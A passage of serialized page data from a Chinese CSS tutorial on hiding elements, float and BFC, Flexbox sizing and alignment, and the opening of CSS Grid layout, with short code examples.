",[22,112252,112147],{},"，或者更好的是——给父级写 ",[22,112255,112256],{},"display: flex","（第十章），让子项自动获得块级尺寸能力。",[11,112259,112260,112262,112263,112266,112267,161],{},[22,112261,112147],{}," 之间那道缝来自 HTML 源码里的换行符被当作空白渲染。",[22,112264,112265],{},"font-size: 0","、写成一行、或者用 Flex 都能消掉，其中",[17,112268,112269],{},"用 Flex 是唯一没有副作用的",[53,112271,112273],{"id":112272},"三种看不见的代价完全不同","三种「看不见」的代价完全不同",[57,112275,112276,112294],{},[60,112277,112278],{},[63,112279,112280,112282,112285,112288,112291],{},[66,112281,19254],{},[66,112283,112284],{},"是否占位",[66,112286,112287],{},"是否可交互",[66,112289,112290],{},"读屏能否念到",[66,112292,112293],{},"能否做过渡",[79,112295,112296,112313,112332],{},[63,112297,112298,112303,112306,112308,112311],{},[84,112299,112300],{},[22,112301,112302],{},"display: none",[84,112304,112305],{},"不占",[84,112307,60399],{},[84,112309,112310],{},"否（移出可访问性树）",[84,112312,60399],{},[63,112314,112315,112320,112325,112327,112329],{},[84,112316,112317],{},[22,112318,112319],{},"visibility: hidden",[84,112321,112322],{},[17,112323,112324],{},"占位",[84,112326,60399],{},[84,112328,60399],{},[84,112330,112331],{},"可（离散切换）",[63,112333,112334,112339,112341,112346,112350],{},[84,112335,112336],{},[22,112337,112338],{},"opacity: 0",[84,112340,112324],{},[84,112342,112343,112345],{},[17,112344,60432],{},"（仍可点，注意误触）",[84,112347,112348],{},[17,112349,60432],{},[84,112351,112352],{},"是（首选动画属性）",[11,112354,112355],{},"选择依据：",[1773,112357,112358,112442,112448],{},[1662,112359,112360,112361,8953,112363,112365,112366,112368,112369],{},"需要淡入淡出 → ",[22,112362,109666],{},[22,112364,109627],{},"，动画结束后再用 ",[22,112367,112319],{}," 彻底移出：",[308,112370,112372],{"className":108720,"code":112371,"language":108722,"meta":314,"style":314},".popover { opacity: 0; visibility: hidden; transition: opacity .18s ease, visibility .18s; }\n.popover.is-open { opacity: 1; visibility: visible; }\n",[22,112373,112374,112419],{"__ignoreMap":314},[331,112375,112376,112379,112381,112383,112385,112387,112389,112391,112393,112395,112397,112399,112402,112405,112407,112410,112413,112415,112417],{"class":333,"line":334},[331,112377,112378],{"class":501},".popover",[331,112380,605],{"class":337},[331,112382,109666],{"class":344},[331,112384,348],{"class":337},[331,112386,628],{"class":344},[331,112388,620],{"class":337},[331,112390,109627],{"class":344},[331,112392,348],{"class":337},[331,112394,111102],{"class":344},[331,112396,620],{"class":337},[331,112398,7466],{"class":344},[331,112400,112401],{"class":337},": opacity ",[331,112403,112404],{"class":344},".18",[331,112406,21542],{"class":616},[331,112408,112409],{"class":344}," ease",[331,112411,112412],{"class":337},", visibility ",[331,112414,112404],{"class":344},[331,112416,21542],{"class":616},[331,112418,664],{"class":337},[331,112420,112421,112424,112426,112428,112430,112432,112434,112436,112438,112440],{"class":333,"line":341},[331,112422,112423],{"class":501},".popover.is-open",[331,112425,605],{"class":337},[331,112427,109666],{"class":344},[331,112429,348],{"class":337},[331,112431,7993],{"class":344},[331,112433,620],{"class":337},[331,112435,109627],{"class":344},[331,112437,348],{"class":337},[331,112439,74028],{"class":344},[331,112441,664],{"class":337},[1662,112443,112444,112445,112447],{},"只是不想出现在布局里 → ",[22,112446,112302],{},"，但它会打断过渡；",[1662,112449,112450,112453,112454,112457,112458,112461,112462,112464,112465,112467],{},[17,112451,112452],{},"视觉隐藏但对读屏保留","（例如「已选中」状态、图例说明）用 ",[22,112455,112456],{},".sr-only"," 那套绝对定位 + ",[22,112459,112460],{},"clip-path"," 的写法，不要用 ",[22,112463,112338],{},"（会被读出但也可被点击）或 ",[22,112466,112302],{},"（读不到）。",[53,112469,112471,112473],{"id":112470},"float它唯一被设计出来的用途是文字环绕",[22,112472,40110],{},"：它唯一被设计出来的用途是文字环绕",[11,112475,112476,112478,112479,112482,112483,112485],{},[22,112477,40110],{}," 让元素脱离正常流并贴到一侧，后续",[17,112480,112481],{},"行内内容","绕着它排——这是报纸版面需求。今天仍然该用 ",[22,112484,40110],{}," 的只有一种场景：图文环绕（首图在段落左上，文字绕排）。Flex\u002FGrid 做不到绕排。",[11,112487,112488],{},"副作用则是所有人都熟悉的「父容器高度塌陷」：浮动元素不撑高父级，父级后面的内容会被压上来。四种清除方式：",[308,112490,112492],{"className":108720,"code":112491,"language":108722,"meta":314,"style":314},".clearfix::after { content: \"\"; display: block; clear: both; }  \u002F* 传统 *\u002F\n.parent { overflow: hidden; }    \u002F* 顺带创建 BFC，但会裁掉溢出内容 *\u002F\n.parent { display: flow-root; }  \u002F* 语义最准确、无副作用的现代写法 *\u002F\n",[22,112493,112494,112530,112548],{"__ignoreMap":314},[331,112495,112496,112499,112501,112504,112506,112508,112510,112512,112514,112516,112518,112520,112522,112525,112527],{"class":333,"line":334},[331,112497,112498],{"class":501},".clearfix::after",[331,112500,605],{"class":337},[331,112502,112503],{"class":344},"content",[331,112505,348],{"class":337},[331,112507,81717],{"class":365},[331,112509,620],{"class":337},[331,112511,20238],{"class":344},[331,112513,348],{"class":337},[331,112515,112141],{"class":344},[331,112517,620],{"class":337},[331,112519,71558],{"class":344},[331,112521,348],{"class":337},[331,112523,112524],{"class":344},"both",[331,112526,110305],{"class":337},[331,112528,112529],{"class":1003},"\u002F* 传统 *\u002F\n",[331,112531,112532,112535,112537,112539,112541,112543,112545],{"class":333,"line":341},[331,112533,112534],{"class":501},".parent",[331,112536,605],{"class":337},[331,112538,109663],{"class":344},[331,112540,348],{"class":337},[331,112542,111102],{"class":344},[331,112544,110567],{"class":337},[331,112546,112547],{"class":1003},"\u002F* 顺带创建 BFC，但会裁掉溢出内容 *\u002F\n",[331,112549,112550,112552,112554,112556,112558,112561,112563],{"class":333,"line":357},[331,112551,112534],{"class":501},[331,112553,605],{"class":337},[331,112555,20238],{"class":344},[331,112557,348],{"class":337},[331,112559,112560],{"class":344},"flow-root",[331,112562,110305],{"class":337},[331,112564,112565],{"class":1003},"\u002F* 语义最准确、无副作用的现代写法 *\u002F\n",[11,112567,112568,112569,112571,112572,112574],{},"两列\u002F三列布局、等高卡片、导航条——这些历史上用 ",[22,112570,40110],{}," + 负 margin 完成的事情，现在都归 Flex 与 Grid。",[22,112573,40110],{}," 还剩一个合理去处是 HTML 邮件（客户端 CSS 支持极差）。",[53,112576,112578],{"id":112577},"bfc-顺手解决边距塌陷","BFC 顺手解决边距塌陷",[11,112580,112581,112582,112584,112585,272,112587,272,112590,272,112593,112595,112596,272,112598,161],{},"块级格式化上下文（BFC）是一个「内部布局与外界隔离」的盒子。它不影响外部 margin 塌陷，但父容器一旦成为 BFC，子的 ",[22,112583,110483],{}," 就不再穿透。触发条件（任一即可）：",[22,112586,40110],{},[22,112588,112589],{},"position: absolute\u002Ffixed",[22,112591,112592],{},"display: flow-root\u002Finline-block\u002Ftable-cell\u002Fflex\u002Fgrid",[22,112594,109663],{}," 非 ",[22,112597,74028],{},[22,112599,112600],{},"contain: paint",[11,112602,112603,112604,14556],{},"不用背——遇到「margin 莫名跑到父元素上」时，给父容器加 ",[22,112605,112606],{},"display: flow-root",[53,112608,112610,112611,112613],{"id":112609},"其余-display-值速查","其余 ",[22,112612,20238],{}," 值速查",[11,112615,112616,1901,112618,112620,112621,272,112624,112627,112628,1901,112630,112633,112634,112637,112638,112641,112642,112644,112645,112648,112649,112652],{},[22,112617,109659],{},[22,112619,109656],{}," 是布局算法（第十、十一章）；",[22,112622,112623],{},"inline-flex",[22,112625,112626],{},"inline-grid"," 是它们的行内版本；",[22,112629,57],{},[22,112631,112632],{},"table-cell"," 仍是不定高内容垂直居中最省事的办法（虽然语义上应该用 Flex）；",[22,112635,112636],{},"contents"," 让盒子自身「消失」、子元素直接参与父级布局，方便但",[17,112639,112640],{},"会丢掉该元素自身的背景与边框，并曾引发展示与可访问性问题","，谨慎使用。列表 ",[22,112643,1773],{}," 上写 ",[22,112646,112647],{},"list-style: none"," 会让 Safari\u002FVoiceOver 不再播报列表语义，需要用 ",[22,112650,112651],{},"role=\"list\""," 补回（这条属于 HTML 教程第十七章的可访问性清单）。",[48,112654,112656],{"id":112655},"十flexbox从主轴到实战","十、Flexbox：从主轴到实战",[11,112658,112659,112660,112663,112664,112667],{},"一维布局（一行或一列）交给 Flex。它的模型只有一个概念需要真正理解：",[17,112661,112662],{},"主轴与交叉轴","，而这两根轴会随 ",[22,112665,112666],{},"flex-direction"," 旋转——这也是 Flex 最大的困惑来源。",[4748,112669],{"height":6589,"src":112670,"title":112671},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F10a-flex-basics.html","示例 10a：flex-direction、justify\u002Falign 与 gap",[53,112673,112675],{"id":112674},"主轴与交叉轴属性名分两套","主轴与交叉轴：属性名分两套",[11,112677,112678,112681,112682,18878,112685,112681,112688,161,112691,112694,112695,112698],{},[22,112679,112680],{},"justify-*"," 永远管",[17,112683,112684],{},"主轴",[22,112686,112687],{},"align-*",[17,112689,112690],{},"交叉轴",[22,112692,112693],{},"direction: row"," 时 justify 是水平、align 是垂直；改成 ",[22,112696,112697],{},"column"," 后两者表现整体旋转 90°。判断方法只有一个：先确认主轴方向，再决定该写 justify 还是 align。",[11,112700,112701,112703,112704,54310,112707,272,112710,272,112712,161,112715,112718,112719,112722],{},[22,112702,112666],{}," 四个值：",[22,112705,112706],{},"row",[22,112708,112709],{},"row-reverse",[22,112711,112697],{},[22,112713,112714],{},"column-reverse",[22,112716,112717],{},"*-reverse"," 只反转",[17,112720,112721],{},"视觉","顺序，DOM 顺序、Tab 焦点顺序、读屏顺序都不变——这会造成「看到的顺序与听到的顺序不一致」，属于可访问性风险，能用 DOM 顺序解决就别反转。",[11,112724,112725,112728,112729,112732,112733,272,112736,272,112738,272,112741,112744,112745,1901,112748,112751],{},[22,112726,112727],{},"justify-content"," 的五个常用值只有在容器",[17,112730,112731],{},"有剩余空间","时才有区别：",[22,112734,112735],{},"flex-start",[22,112737,110939],{},[22,112739,112740],{},"flex-end",[22,112742,112743],{},"space-between","（两端贴边）、",[22,112746,112747],{},"space-around",[22,112749,112750],{},"space-evenly","（首尾也留空隙，后者所有空隙严格相等）。",[11,112753,112754,110443,112757,112760,112761,272,112763,272,112765,272,112767,112770,112771,109964,112773,112775,112776,161],{},[22,112755,112756],{},"align-items",[22,112758,112759],{},"stretch","（默认，需子项不设高度）、",[22,112762,112735],{},[22,112764,110939],{},[22,112766,112740],{},[22,112768,112769],{},"baseline","。字号不同的两项并排时 ",[22,112772,112769],{},[22,112774,110939],{}," 更整齐。单个子项要叛逆时用 ",[22,112777,112778],{},"align-self",[53,112780,112782,112784],{"id":112781},"gap容器间距的正确写法",[22,112783,110497],{},"：容器间距的正确写法",[308,112786,112788],{"className":108720,"code":112787,"language":108722,"meta":314,"style":314},".list { display: flex; gap: 12px 20px; }   \u002F* 行间距 列间距 *\u002F\n",[22,112789,112790],{"__ignoreMap":314},[331,112791,112792,112795,112797,112799,112801,112803,112805,112807,112809,112811,112813,112815,112817,112819],{"class":333,"line":334},[331,112793,112794],{"class":501},".list",[331,112796,605],{"class":337},[331,112798,20238],{"class":344},[331,112800,348],{"class":337},[331,112802,109656],{"class":344},[331,112804,620],{"class":337},[331,112806,110497],{"class":344},[331,112808,348],{"class":337},[331,112810,93883],{"class":344},[331,112812,617],{"class":616},[331,112814,64166],{"class":344},[331,112816,617],{"class":616},[331,112818,35033],{"class":337},[331,112820,112821],{"class":1003},"\u002F* 行间距 列间距 *\u002F\n",[11,112823,112824,112826,112827,112830,112831,112834,112835,112838,112839,112842,112843,161],{},[22,112825,110497],{}," 只加在相邻项",[17,112828,112829],{},"之间","，首尾不多出空白，因此从此不需要 ",[22,112832,112833],{},":last-child { margin-right: 0 }","。子项换行时（",[22,112836,112837],{},"flex-wrap","）行与行之间的间距同样由它管。Flex、Grid、多列 ",[22,112840,112841],{},"column-*"," 都支持 ",[22,112844,110497],{},[53,112846,112848,1901,112850,1901,112853],{"id":112847},"flex-grow-flex-shrink-flex-basis",[22,112849,109941],{},[22,112851,112852],{},"flex-shrink",[22,112854,112855],{},"flex-basis",[4748,112857],{"height":72775,"src":112858,"title":112859},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F10b-flex-patterns.html","示例 10b：flex 简写、wrap、order 与 min-width 溢出坑",[11,112861,112862],{},"三个属性分别管三件事：",[1773,112864,112865,112877,112892],{},[1662,112866,112867,112869,112870,112872,112873,112876],{},[22,112868,109941],{},"：容器",[17,112871,112731],{},"时按份数分给谁。分的是剩余空间，不是总宽度——所以两个 ",[22,112874,112875],{},"grow: 1"," 的项如果内容宽度不同，最终宽度也不相等。",[1662,112878,112879,112869,112881,112884,112885,112888,112889,161],{},[22,112880,112852],{},[17,112882,112883],{},"不够宽","时谁让步（默认 1）。实际收缩量按 ",[22,112886,112887],{},"shrink × basis"," 加权，不是按数字直接分。不想被压的（图标、关闭按钮、固定侧栏）写 ",[22,112890,112891],{},"flex-shrink: 0",[1662,112893,112894,112896,112897,112900,112901,112903],{},[22,112895,112855],{},"：伸缩的",[17,112898,112899],{},"起点尺寸","，优先级高于 ",[22,112902,608],{},"（在主轴方向上）。",[11,112905,112906,112908],{},[22,112907,109656],{}," 简写有四个必须记住的展开：",[57,112910,112911,112923],{},[60,112912,112913],{},[63,112914,112915,112917,112920],{},[66,112916,19254],{},[66,112918,112919],{},"展开",[66,112921,112922],{},"意图",[79,112924,112925,112940,112955,112970],{},[63,112926,112927,112932,112937],{},[84,112928,112929],{},[22,112930,112931],{},"flex: 1",[84,112933,112934],{},[22,112935,112936],{},"1 1 0%",[84,112938,112939],{},"严格等宽（basis 是 0，忽略内容宽度）",[63,112941,112942,112947,112952],{},[84,112943,112944],{},[22,112945,112946],{},"flex: auto",[84,112948,112949],{},[22,112950,112951],{},"1 1 auto",[84,112953,112954],{},"按内容比例分配剩余，能长能缩",[63,112956,112957,112962,112967],{},[84,112958,112959],{},[22,112960,112961],{},"flex: initial",[84,112963,112964],{},[22,112965,112966],{},"0 1 auto",[84,112968,112969],{},"默认值：不生长，但会被压缩",[63,112971,112972,112977,112982],{},[84,112973,112974],{},[22,112975,112976],{},"flex: none",[84,112978,112979],{},[22,112980,112981],{},"0 0 auto",[84,112983,112984],{},"完全固定",[11,112986,112987,112988,112990,112991,5652,112994,112997,112998,113001],{},"「等宽但内容长的那一项溢出」通常是误用了 ",[22,112989,112946],{},"；「固定 240px 侧栏」的正确写法是 ",[22,112992,112993],{},"flex: 0 0 240px",[22,112995,112996],{},"flex-basis: 240px; flex-shrink: 0","），只写 ",[22,112999,113000],{},"width: 240px"," 会被压缩。",[53,113003,113005,5160,113007],{"id":113004},"flex-wrap-与-order",[22,113006,112837],{},[22,113008,113009],{},"order",[11,113011,113012,113015,113016,113018],{},[22,113013,113014],{},"flex-wrap: wrap"," 让子项放不下时换行，配合 ",[22,113017,112855],{}," 就是最省事的响应式标签云\u002F工具条：",[308,113020,113022],{"className":108720,"code":113021,"language":108722,"meta":314,"style":314},".tags { display: flex; flex-wrap: wrap; gap: 8px; }\n",[22,113023,113024],{"__ignoreMap":314},[331,113025,113026,113029,113031,113033,113035,113037,113039,113041,113043,113046,113048,113050,113052,113054,113056],{"class":333,"line":334},[331,113027,113028],{"class":501},".tags",[331,113030,605],{"class":337},[331,113032,20238],{"class":344},[331,113034,348],{"class":337},[331,113036,109656],{"class":344},[331,113038,620],{"class":337},[331,113040,112837],{"class":344},[331,113042,348],{"class":337},[331,113044,113045],{"class":344},"wrap",[331,113047,620],{"class":337},[331,113049,110497],{"class":344},[331,113051,348],{"class":337},[331,113053,39054],{"class":344},[331,113055,617],{"class":616},[331,113057,664],{"class":337},[11,113059,113060,113062,113063,113065],{},[22,113061,113009],{}," 只改视觉顺序（默认 0，可负），典型用途是「DOM 按语义写、移动端把主内容提到前面」。风险与 ",[22,113064,112717],{}," 相同：Tab 顺序跟着 DOM 走，键盘用户会跳来跳去。",[53,113067,113069,113070,113072],{"id":113068},"最经典的坑min-width-不是-0","最经典的坑：",[22,113071,110377],{}," 不是 0",[11,113074,113075,113076,113079,113080,113083,113084,113087],{},"Flex 子项的自动最小尺寸是 ",[22,113077,113078],{},"min-content","，因此",[17,113081,113082],{},"子项无法被压缩到内容宽度以下","。这直接导致「",[22,113085,113086],{},"text-overflow: ellipsis"," 在 flex 子项里不生效」这个高频问题：",[308,113089,113091],{"className":108720,"code":113090,"language":108722,"meta":314,"style":314},".row { display: flex; }\n.row .side { flex-shrink: 0; }        \u002F* 图标\u002F按钮不让步 *\u002F\n.row .text { min-width: 0; }          \u002F* 关键：允许收缩到内容以下，省略号才生效 *\u002F\n.row .text span { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }\n",[22,113092,113093,113108,113128,113149],{"__ignoreMap":314},[331,113094,113095,113098,113100,113102,113104,113106],{"class":333,"line":334},[331,113096,113097],{"class":501},".row",[331,113099,605],{"class":337},[331,113101,20238],{"class":344},[331,113103,348],{"class":337},[331,113105,109656],{"class":344},[331,113107,664],{"class":337},[331,113109,113110,113112,113115,113117,113119,113121,113123,113125],{"class":333,"line":341},[331,113111,113097],{"class":501},[331,113113,113114],{"class":501}," .side",[331,113116,605],{"class":337},[331,113118,112852],{"class":344},[331,113120,348],{"class":337},[331,113122,628],{"class":344},[331,113124,110594],{"class":337},[331,113126,113127],{"class":1003},"\u002F* 图标\u002F按钮不让步 *\u002F\n",[331,113129,113130,113132,113135,113137,113139,113141,113143,113146],{"class":333,"line":357},[331,113131,113097],{"class":501},[331,113133,113134],{"class":501}," .text",[331,113136,605],{"class":337},[331,113138,110377],{"class":344},[331,113140,348],{"class":337},[331,113142,628],{"class":344},[331,113144,113145],{"class":337},"; }          ",[331,113147,113148],{"class":1003},"\u002F* 关键：允许收缩到内容以下，省略号才生效 *\u002F\n",[331,113150,113151,113153,113155,113157,113159,113161,113163,113165,113167,113169,113171,113173,113175,113177,113179,113181],{"class":333,"line":371},[331,113152,113097],{"class":501},[331,113154,113134],{"class":501},[331,113156,109171],{"class":497},[331,113158,605],{"class":337},[331,113160,110668],{"class":344},[331,113162,348],{"class":337},[331,113164,111093],{"class":344},[331,113166,620],{"class":337},[331,113168,109663],{"class":344},[331,113170,348],{"class":337},[331,113172,111102],{"class":344},[331,113174,620],{"class":337},[331,113176,111107],{"class":344},[331,113178,348],{"class":337},[331,113180,111112],{"class":344},[331,113182,664],{"class":337},[11,113184,113185,113186,113189,113190,113192,113193,6745,113196,113199,113200,113202,113203,113206],{},"同一类问题在嵌套 Flex、Grid 子项（",[22,113187,113188],{},"1fr"," 的下限是 ",[22,113191,90367],{},"）里都会出现，写 ",[22,113194,113195],{},"minmax(0, 1fr)",[22,113197,113198],{},"min-width: 0","。纵向（",[22,113201,112697],{},"）时对应的是 ",[22,113204,113205],{},"min-height: 0","，否则子项会撑破滚动容器。",[53,113208,113209],{"id":113209},"三个高频实战配方",[308,113211,113213],{"className":108720,"code":113212,"language":108722,"meta":314,"style":314},"\u002F* 居中：完全居中一行 *\u002F  .c { display: flex; align-items: center; justify-content: center; }\n\u002F* 工具条：左标题右操作 *\u002F .bar { display: flex; justify-content: space-between; align-items: center; gap: 12px; }\n\u002F* 吸底页脚 *\u002F            body { min-height: 100svh; display: flex; flex-direction: column; } main { flex: 1; }\n",[22,113214,113215,113249,113293],{"__ignoreMap":314},[331,113216,113217,113220,113223,113225,113227,113229,113231,113233,113235,113237,113239,113241,113243,113245,113247],{"class":333,"line":334},[331,113218,113219],{"class":1003},"\u002F* 居中：完全居中一行 *\u002F",[331,113221,113222],{"class":501},"  .c",[331,113224,605],{"class":337},[331,113226,20238],{"class":344},[331,113228,348],{"class":337},[331,113230,109656],{"class":344},[331,113232,620],{"class":337},[331,113234,112756],{"class":344},[331,113236,348],{"class":337},[331,113238,110939],{"class":344},[331,113240,620],{"class":337},[331,113242,112727],{"class":344},[331,113244,348],{"class":337},[331,113246,110939],{"class":344},[331,113248,664],{"class":337},[331,113250,113251,113254,113257,113259,113261,113263,113265,113267,113269,113271,113273,113275,113277,113279,113281,113283,113285,113287,113289,113291],{"class":333,"line":341},[331,113252,113253],{"class":1003},"\u002F* 工具条：左标题右操作 *\u002F",[331,113255,113256],{"class":501}," .bar",[331,113258,605],{"class":337},[331,113260,20238],{"class":344},[331,113262,348],{"class":337},[331,113264,109656],{"class":344},[331,113266,620],{"class":337},[331,113268,112727],{"class":344},[331,113270,348],{"class":337},[331,113272,112743],{"class":344},[331,113274,620],{"class":337},[331,113276,112756],{"class":344},[331,113278,348],{"class":337},[331,113280,110939],{"class":344},[331,113282,620],{"class":337},[331,113284,110497],{"class":344},[331,113286,348],{"class":337},[331,113288,93883],{"class":344},[331,113290,617],{"class":616},[331,113292,664],{"class":337},[331,113294,113295,113298,113301,113303,113305,113307,113309,113311,113313,113315,113317,113319,113321,113323,113325,113327,113329,113331,113333,113335,113337,113339],{"class":333,"line":357},[331,113296,113297],{"class":1003},"\u002F* 吸底页脚 *\u002F",[331,113299,113300],{"class":497},"            body",[331,113302,605],{"class":337},[331,113304,748],{"class":344},[331,113306,348],{"class":337},[331,113308,712],{"class":344},[331,113310,109871],{"class":616},[331,113312,620],{"class":337},[331,113314,20238],{"class":344},[331,113316,348],{"class":337},[331,113318,109656],{"class":344},[331,113320,620],{"class":337},[331,113322,112666],{"class":344},[331,113324,348],{"class":337},[331,113326,112697],{"class":344},[331,113328,82718],{"class":337},[331,113330,7072],{"class":497},[331,113332,605],{"class":337},[331,113334,109656],{"class":344},[331,113336,348],{"class":337},[331,113338,7993],{"class":344},[331,113340,664],{"class":337},[11,113342,113343,113344,113347,113348,113351,113352,113354,113355,113357],{},"等高卡片靠 ",[22,113345,113346],{},"align-items: stretch","（Flex 的默认值）自动实现，卡片内部把页脚写成 ",[22,113349,113350],{},"margin-top: auto"," 或给它 ",[22,113353,112931],{}," 吃掉中间空白，就能「底部对齐」。这是 Flex 比 ",[22,113356,40110],{}," 简单得多的地方。",[48,113359,113361],{"id":113360},"十一grid从网格轨道到自适应布局","十一、Grid：从网格轨道到自适应布局",[11,113363,113364],{},"Flex 解决「一行里怎么排」，Grid 解决「整页分成几格」。Grid 是二维的：可以先声明列，再声明行，然后让子项落位。",[4748,113366],{"height":113367,"src":113368,"title":113369},820,"\u002Ftutorials\u002Fcss\u002Fdemos\u002F11a-grid-basics.html","示例 11a：轨道、fr、命名区域与对齐",[53,113371,113373,5160,113376],{"id":113372},"grid-template-columns-与-fr",[22,113374,113375],{},"grid-template-columns",[22,113377,109909],{},[308,113379,113381],{"className":108720,"code":113380,"language":108722,"meta":314,"style":314},".g { display: grid; grid-template-columns: 200px 1fr 1fr; gap: 16px; }\n",[22,113382,113383],{"__ignoreMap":314},[331,113384,113385,113388,113390,113392,113394,113396,113398,113400,113402,113404,113406,113408,113410,113412,113414,113416,113418,113420,113422,113424],{"class":333,"line":334},[331,113386,113387],{"class":501},".g",[331,113389,605],{"class":337},[331,113391,20238],{"class":344},[331,113393,348],{"class":337},[331,113395,109659],{"class":344},[331,113397,620],{"class":337},[331,113399,113375],{"class":344},[331,113401,348],{"class":337},[331,113403,30211],{"class":344},[331,113405,617],{"class":616},[331,113407,30777],{"class":344},[331,113409,109909],{"class":616},[331,113411,30777],{"class":344},[331,113413,109909],{"class":616},[331,113415,620],{"class":337},[331,113417,110497],{"class":344},[331,113419,348],{"class":337},[331,113421,38994],{"class":344},[331,113423,617],{"class":616},[331,113425,664],{"class":337},[11,113427,113428,18283,113430,113433,113434,113436,113437,113440,113441,113444,113445,113447,113448,113451],{},[22,113429,109909],{},[17,113431,113432],{},"剩余空间的等份","，只在 ",[22,113435,109918],{}," 里可用（写成 ",[22,113438,113439],{},"width: 1fr"," 无效）。",[22,113442,113443],{},"2fr 1fr"," 是二比一，但比例算的是扣掉固定轨道与 ",[22,113446,110497],{}," 之后的",[17,113449,113450],{},"剩余","空间，所以固定列宽变化时比例看起来会变，这是正常的。",[11,113453,113454,113457,113458,113461,113462,113465,113466,161],{},[22,113455,113456],{},"repeat(12, 1fr)"," 是简写；",[22,113459,113460],{},"repeat(3, minmax(0, 1fr))"," 是防御性写法（理由见上一章的 min-content 问题）；",[22,113463,113464],{},"grid-template-columns: [侧栏] 240px [主区] 1fr"," 给轨道命名，子项就能写 ",[22,113467,113468],{},"grid-column: 侧栏",[11,113470,113471,113472,113475,113476,113479,113480,113483,113484,113486,113487,4839,113490,1901,113492,1901,113494,113497],{},"行也一样：",[22,113473,113474],{},"grid-template-rows"," 描述你写明的轨道，超出的部分进入",[17,113477,113478],{},"隐式轨道","，尺寸由 ",[22,113481,113482],{},"grid-auto-rows"," 决定（默认 ",[22,113485,90367],{},"），排布方向由 ",[22,113488,113489],{},"grid-auto-flow",[22,113491,112706],{},[22,113493,112697],{},[22,113495,113496],{},"dense","）控制。",[53,113499,113501],{"id":113500},"命名区域把布局写成-ascii-图","命名区域：把布局写成 ASCII 图",[308,113503,113505],{"className":108720,"code":113504,"language":108722,"meta":314,"style":314},".page {\n  display: grid;\n  grid-template-columns: 216px minmax(0, 1fr) 232px;\n  grid-template-rows: 48px 1fr 40px;\n  grid-template-areas:\n    \"head head head\"\n    \"nav  main aside\"\n    \"foot foot foot\";\n}\nheader { grid-area: head; }\nmain   { grid-area: main; }\n",[22,113506,113507,113514,113525,113559,113581,113588,113593,113598,113605,113609,113621],{"__ignoreMap":314},[331,113508,113509,113512],{"class":333,"line":334},[331,113510,113511],{"class":501},".page",[331,113513,1100],{"class":337},[331,113515,113516,113519,113521,113523],{"class":333,"line":341},[331,113517,113518],{"class":344},"  display",[331,113520,348],{"class":337},[331,113522,109659],{"class":344},[331,113524,108769],{"class":337},[331,113526,113527,113530,113532,113535,113537,113540,113542,113544,113546,113548,113550,113552,113555,113557],{"class":333,"line":357},[331,113528,113529],{"class":344},"  grid-template-columns",[331,113531,348],{"class":337},[331,113533,113534],{"class":344},"216",[331,113536,617],{"class":616},[331,113538,113539],{"class":344}," minmax",[331,113541,966],{"class":337},[331,113543,628],{"class":344},[331,113545,409],{"class":337},[331,113547,7993],{"class":344},[331,113549,109909],{"class":616},[331,113551,3180],{"class":337},[331,113553,113554],{"class":344},"232",[331,113556,617],{"class":616},[331,113558,108769],{"class":337},[331,113560,113561,113564,113566,113569,113571,113573,113575,113577,113579],{"class":333,"line":371},[331,113562,113563],{"class":344},"  grid-template-rows",[331,113565,348],{"class":337},[331,113567,113568],{"class":344},"48",[331,113570,617],{"class":616},[331,113572,30777],{"class":344},[331,113574,109909],{"class":616},[331,113576,111508],{"class":344},[331,113578,617],{"class":616},[331,113580,108769],{"class":337},[331,113582,113583,113586],{"class":333,"line":384},[331,113584,113585],{"class":344},"  grid-template-areas",[331,113587,53423],{"class":337},[331,113589,113590],{"class":333,"line":397},[331,113591,113592],{"class":365},"    \"head head head\"\n",[331,113594,113595],{"class":333,"line":418},[331,113596,113597],{"class":365},"    \"nav  main aside\"\n",[331,113599,113600,113603],{"class":333,"line":427},[331,113601,113602],{"class":365},"    \"foot foot foot\"",[331,113604,108769],{"class":337},[331,113606,113607],{"class":333,"line":439},[331,113608,459],{"class":337},[331,113610,113611,113613,113615,113618],{"class":333,"line":450},[331,113612,26386],{"class":497},[331,113614,605],{"class":337},[331,113616,113617],{"class":344},"grid-area",[331,113619,113620],{"class":337},": head; }\n",[331,113622,113623,113625,113628,113630],{"class":333,"line":456},[331,113624,7072],{"class":497},[331,113626,113627],{"class":337},"   { ",[331,113629,113617],{"class":344},[331,113631,113632],{"class":337},": main; }\n",[11,113634,113635,113636,113639,113640,113642],{},"这是 Grid 比 Flex 更适合「整页骨架」的原因：响应式换布局只需重写 ",[22,113637,113638],{},"grid-template-areas"," 那几行，HTML 与子项选择器一行不动。约束是区域名组成的矩形必须完整（不能有 L 形空洞），否则整条声明静默失效；空格子用 ",[22,113641,1192],{}," 表示。",[11,113644,113645,113646,113648],{},"本站教程详情页的三栏（左目录 \u002F 正文 \u002F 右目录）就是这个思路——只是用 ",[22,113647,108489],{}," 媒体查询把三栏收成单栏，并让左栏变成横向滚动的 chip 条。",[53,113650,113652],{"id":113651},"跨行跨列数的是线","跨行跨列：数的是「线」",[4748,113654],{"height":113655,"src":113656,"title":113657},840,"\u002Ftutorials\u002Fcss\u002Fdemos\u002F11b-grid-advanced.html","示例 11b：span、minmax + auto-fit、subgrid 与 12 栏",[11,113659,113660,113661,161,113664,113666,113667,113670],{},"N 条线围成 N-1 个格子，所以「占第 2、3 列」写作 ",[22,113662,113663],{},"grid-column: 2 \u002F 4",[22,113665,65523],{}," 是最后一条线，",[22,113668,113669],{},"grid-column: 1 \u002F -1"," 就是横跨整行——写整行标题、整行页脚最常用。",[11,113672,113673,113675,113676,113679],{},[22,113674,113617],{}," 的四值顺序是 行开始 \u002F 列开始 \u002F 行结束 \u002F 列结束（与 margin 的顺时针一样）。",[22,113677,113678],{},"grid-column: span 3"," 让自动放置决定起点，比写死线号更适合响应式（断点变化时线号会全部错位）。",[53,113681,113683,113684,4809,113686,1901,113689],{"id":113682},"一行代码的响应式minmax-auto-fit-auto-fill","一行代码的响应式：",[22,113685,110608],{},[22,113687,113688],{},"auto-fit",[22,113690,113691],{},"auto-fill",[308,113693,113695],{"className":108720,"code":113694,"language":108722,"meta":314,"style":314},".cards {\n  display: grid;\n  grid-template-columns: repeat(auto-fit, minmax(min(240px, 100%), 1fr));\n  gap: 